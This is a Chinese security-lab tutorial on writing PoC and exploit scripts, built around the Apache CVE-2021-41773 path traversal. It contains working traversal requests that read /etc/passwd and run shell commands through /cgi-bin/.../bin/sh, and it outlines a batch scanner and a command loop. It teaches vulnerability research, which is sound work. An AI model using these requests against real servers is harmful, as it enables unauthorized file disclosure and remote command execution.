戟星安全实验室
本文约1683字,阅读约需5分钟。
前言
1、确定目标:
首先要明确你的目标是什么。你是想编写一个POC来验证某个漏洞的存在,还是想编写一个EXP来利用该漏洞?
2、漏洞研究:
在编写POC(Proof of Concept,概念验证)或EXP(Exploit,漏洞利用)之前,深入研究目标漏洞是至关重要的。了解漏洞的工作原理、漏洞利用条件和可能的影响。查阅相关文档、安全公告、漏洞报告以及专业博客和论坛上的讨论。
3、环境设置:
根据目标漏洞的类型和相关应用程序或系统的环境,搭建一个合适的实验环境。这可能包括虚拟机、容器或者专门用于漏洞测试的平台。
4、编写POC:
如果你的目标是编写一个POC来验证漏洞,你需要着重考虑漏洞的关键特征和触发条件。POC应该能够在实验环境中重现漏洞,并提供足够的证据来证明漏洞的存在。
l 确定漏洞的输入点:找到漏洞所接受的输入,这可能是网络请求、文件、用户输入等。分析这些输入的结构和预期的行为。
l 构造恶意输入:基于对漏洞的理解,构造一个恶意输入,以触发漏洞。这可能包括修改输入数据的特定字段、发送恶意请求或者注入恶意代码等。
l 目标验证:验证POC是否能成功触发漏洞。在实验环境中运行POC,并观察结果。如果漏洞成功被验证,确保记录下复现过程和验证结果。
5、编写EXP:
如果你的目标是编写一个EXP来利用漏洞,你需要深入理解目标系统的内部工作机制和漏洞利用技术。
l 漏洞利用技术:了解常见的漏洞利用技术,例如、SQL注入、远程代码执行等。根据目标漏洞的类型选择合适的利用技术。
l 编写利用代码:基于漏洞利用技术和目标系统的特点,编写利用代码。这可能包括构造特定的数据包、利用内存布局、绕过安全机制等。
l 利用验证:在合适的实验环境中
编写
1.URL处理
url处理包括:
识别url前缀,没有http&https的添加http或者https;
删除url路径部分;(方便poc&exp中添加路径验证漏洞)
url结尾有/ 则去掉/;(同上)
url处理函数 urlHandler
添加main测试函数
2.状态码识别
首先编写获取url状态吗函数:getStatusCode
编写main测试函数:
合并使用第一步的url处理函数:
未使用前:
使用后
3.文件读取
为方便批量漏洞验证,增加文件中读取url的函数
编写文件读取函数:readFile
创建url.txt文件,编写main函数测试:
合并第一、第二步。识别这些url的状态码
4.POC验证
以apache路径穿越漏洞--cve-2021-41773为例:
Apache HTTP Server 2.4.49、2.4.50版本对路径规范化所做的更改中存在一个路径穿越漏洞,攻击者可利用该漏洞读取到Web目录外的其他文件,如系统配置文件、网站源码等,甚至在特定情况下,攻击者可构造恶意请求执行命令,控制服务器。
漏洞验证:
在服务端开启了cgi或cgid这两个mod的情况下,这个路径穿越漏洞将可以执行任意命令
对包头进行修改:
GET /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd HTTP/1.1
读取/etc/passwd文件:
编写poc:
增加目录:
/icons/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
以验证反回包是否包含“root:x”判断漏洞是否存在。
main函数
使用靶场验证漏洞
批量验证漏洞:
包括:判断url状态码,存在漏洞的url写入文件
EXP利用
包头修改:
POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/bin/sh HTTP/1.1
POST 提交:
echo; ls /
编写exp:增加目录:/cgi-bin/.%2e/%2e%2e/%2e%2e/bin/sh
以POST提交:echo; ls /
执行的命令用户决定,以command控制
编写main函数:
使用poc函数判断漏洞是否存在,如果漏洞存在,则循环执行命令,
至此,简单的漏洞验证和漏洞利用编写完成。
往期回顾
声明
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,戟星安全实验室及文章作者不为此承担任何责任。
戟星安全实验室拥有对此文章的修改和解释权。如欲转载或传播此文章,必须保证此文章的完整性,包括版权声明等全部内容。未经戟星安全实验室允许,不得任意修改或者增减此文章内容,不得以任何方式将其用于商业目的。
戟星安全实验室
# 长按二维码 || 点击下方名片 关注我们 #